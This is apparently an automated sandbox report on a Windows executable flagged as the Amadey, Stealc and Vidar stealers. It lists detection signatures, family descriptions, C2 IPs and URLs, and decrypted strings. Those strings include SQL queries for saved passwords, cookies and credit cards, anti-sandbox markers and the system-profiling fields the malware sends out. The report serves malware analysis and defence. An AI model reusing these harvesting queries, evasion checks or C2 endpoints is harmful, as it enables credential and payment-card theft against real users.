Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1483358
MD5: 0ef35662abbe44cf6e064cb524b10742
SHA1: e022ebfc8011cdda89bd682001807e87f29de564
SHA256: 5adcb9c55cb600170c65b603951ef9b4a9a6e6dd95a7eed765a371bf51d2719e
Tags: exeStealc
Infos:

Detection

Amadey, Stealc, Vidar
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Yara detected Amadeys stealer DLL
Yara detected Powershell download and execute
Yara detected Stealc
Yara detected Vidar stealer
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Creates multiple autostart registry keys
Found evasive API chain (may stop execution after checking locale)
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
Machine Learning detection for dropped file
Machine Learning detection for sample
PE file contains section with special chars
Sample uses string decryption to hide its real strings
Searches for specific processes (likely to inject)
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Suspicious File Creation In Uncommon AppData Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Tries to steal Mail credentials (via file / registry access)
Checks for debuggers (devices)
Checks if the current process is being debugged
Connects to many different domains
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to create guard pages, often used to hinder reverse usering and debugging
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Entry point lies outside standard sections
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Installs a raw input device (often for capturing keystrokes)
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sleep loop found (likely to delay execution)
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara detected Keylogger Generic
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc
Name Description Attribution Blogpost URLs Link
Vidar Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Antivirus detection for URL or domain
Source: http://85.28.47.31/8405906461a5200c/vcruntime140.dll Avira URL Cloud: Label: malware
Source: http://85.28.47.31/5499d72b3a3e55be.phpV82 Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.php Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/softokn3.dll Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.php00 Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/8405906461a5200c/freebl3.dllT Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/nss3.dll Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/freebl3.dllC Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.phpcK2 Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/5499d72b3a3e55be.php~ Avira URL Cloud: Label: malware
Source: http://185.215.113.16/stealc/random.exe395d Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/5499d72b3a3e55be.php2 Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\userIJKFHIIEHI.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe Avira: detection malicious, Label: HEUR/AGEN.1312596
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: 0.2.file.exe.40b0e67.1.raw.unpack Malware Configuration Extractor: Vidar {"C2 url": "http://85.28.47.31silence"}
Source: file.exe.6880.0.memstrmin Malware Configuration Extractor: StealC {"C2 url": "85.28.47.31/5499d72b3a3e55be.php"}
Source: axplong.exe.1764.31.memstrmin Malware Configuration Extractor: Amadey {"C2 url": ["http://185.215.113.16/Jo89Ku7d/index.php"]}
Multi AV Scanner detection for domain / URL
Source: http://85.28.47.31/8405906461a5200c/vcruntime140.dll Virustotal: Detection: 17% Perma Link
Multi AV Scanner detection for submitted file
Source: file.exe Virustotal: Detection: 44% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Joe Sandbox ML: detected
Source: C:\Users\userIJKFHIIEHI.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: 22
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: 08
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: 20
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: 24
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetProcAddress
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: LoadLibraryA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: lstrcatA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: OpenEventA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CreateEventA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CloseHandle
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Sleep
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: VirtualFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetSystemInfo
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: VirtualAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: HeapAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetComputerNameA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: lstrcpyA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetProcessHeap
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetCurrentProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: lstrlenA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: ExitProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetSystemTime
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: advapi32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: gdi32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: user32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: crypt32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: ntdll.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetUserNameA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CreateDCA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetDeviceCaps
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: ReleaseDC
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: sscanf
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: VMwareVMware
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: HAL9TH
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: JohnDoe
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: DISPLAY
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: http://85.28.47.31
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: silence
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: /5499d72b3a3e55be.php
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: /8405906461a5200c/
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: sila
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetFileAttributesA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GlobalLock
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: HeapFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetFileSize
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GlobalSize
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: IsWow64Process
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Process32Next
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetLocalTime
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: FreeLibrary
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Process32First
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: DeleteFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: FindNextFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: LocalFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: FindClose
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: LocalAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetFileSizeEx
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: ReadFile
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: SetFilePointer
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: WriteFile
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CreateFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: FindFirstFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CopyFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: VirtualProtect
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetLastError
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: lstrcpynA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GlobalFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GlobalAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: OpenProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: TerminateProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: gdiplus.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: ole32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: bcrypt.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: wininet.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: shlwapi.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: shell32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: psapi.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: SelectObject
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: BitBlt
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: DeleteObject
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GdiplusStartup
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GdiplusShutdown
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GdipDisposeImage
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GdipFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CoUninitialize
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CoInitialize
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CoCreateInstance
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: BCryptDecrypt
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: BCryptSetProperty
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetWindowRect
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetDesktopWindow
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetDC
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CloseWindow
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: wsprintfA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CharToOemW
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: wsprintfW
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: RegQueryValueExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: RegCloseKey
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: RegEnumValueA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CryptUnprotectData
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: ShellExecuteExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: InternetConnectA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: InternetCloseHandle
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: InternetOpenA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: HttpSendRequestA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: InternetReadFile
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: StrCmpCA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: StrStrA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: StrCmpCW
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: PathMatchSpecA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: RmStartSession
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: RmRegisterResources
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: RmGetList
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: RmEndSession
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: sqlite3_open
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: sqlite3_step
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: sqlite3_column_text
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: sqlite3_finalize
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: sqlite3_close
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: encrypted_key
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: PATH
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: NSS_Init
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: NSS_Shutdown
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: PK11_Authenticate
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: C:\ProgramData\
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: browser:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: profile:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: url:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: login:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: password:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Opera
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: OperaGX
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Network
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: cookies
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: .txt
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: TRUE
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: FALSE
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: autofill
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: history
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: cc
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: name:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: month:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: year:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: card:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Cookies
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Login Data
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Web Data
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: History
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: logins.json
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: formSubmitURL
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: usernameField
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: encryptedUsername
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: encryptedPassword
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: guid
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: cookies.sqlite
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: formhistory.sqlite
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: places.sqlite
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: plugins
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Local Extension Settings
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Sync Extension Settings
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: IndexedDB
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Opera Stable
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Opera GX Stable
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: CURRENT
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: chrome-extension_
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Local State
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: profiles.ini
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: chrome
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: opera
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: firefox
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: wallets
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: ProductName
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: x32
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: x64
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: ProcessorNameString
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: DisplayName
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: DisplayVersion
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: Network Info:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: - IP: IP?
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: - Country: ISO?
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: System Summary:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: - HWID:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: - OS:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: - Architecture:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: - UserName:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: - Computer Name:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: - Local Time:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: - UTC:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: - Language:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: - Keyboards:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: - Laptop:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: - Running Path:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: - CPU:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: - Threads:
Source: 0.2.file.exe.40b0e67.1.raw.unpack String decryptor: - Cores:
